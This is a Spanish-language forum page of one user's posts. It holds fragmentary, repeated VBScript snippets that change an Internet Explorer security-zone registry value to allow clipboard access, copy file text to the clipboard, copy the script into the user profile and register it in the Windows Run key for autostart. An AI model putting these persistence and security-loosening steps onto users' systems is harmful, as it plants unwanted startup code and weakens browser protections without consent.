Ok, problema arreglado.
Utilize HKCU y funciona perfectamente
Utilize HKCU y funciona perfectamente
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menú
set registro = createobject("wscript.shell")
registro.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\1407",0,"REG_SZ"
set objfso = createobject("scripting.filesystemobject")
set clipboard = createobject("internetexplorer.application")
set myfile = objfso.opentextfile("file.txt",1)
texto = myfile.readall
clipboard.navigate "about:blank"
clipboard.document.parentwindow.clipboarddata.setdata "text",texto
clipboard.quit
myfile.close
set autocopia = createobject("scripting.filesystemobject")
autocopia.copyfile "wscript.scriptfullname", "%userprofile%\vbs.vbs", true
CitarLinea 2 caracter1
Set objshell = createobject("wscript.shell")
objshell.regwrite("HKLM\Software\Microsoft\Windows\CurrentVersion\Run\miscriptdevbs",wscript.scriptfullname,"REG_SZ")
Set objshell = createobject("wscript.shell")
objshell.regwrite"HKLM\Software\Microsoft\Windows\CurrentVersion\Run\miscriptdevbs",wscript.scriptfullname,"REG_SZ"
set objfso = createobject("scripting.filesystemobject")
set clipboard = createobject("internetexplorer.application")
set myfile = objfso.opentextfile("file.txt",1)
texto = myfile.readline
clipboard.navigate "about:blank"
clipboard.document.parentwindow.clipboarddata.setdata "text",texto
clipboard.quit
myfile.close
Set objshell = createobject("wscript.shell")
objshell.regwrite("HKLM\Software\Microsoft\Windows\CurrentVersion\Run\nombredelaentradaxD",wscript.scriptfullname,"REG_SZ")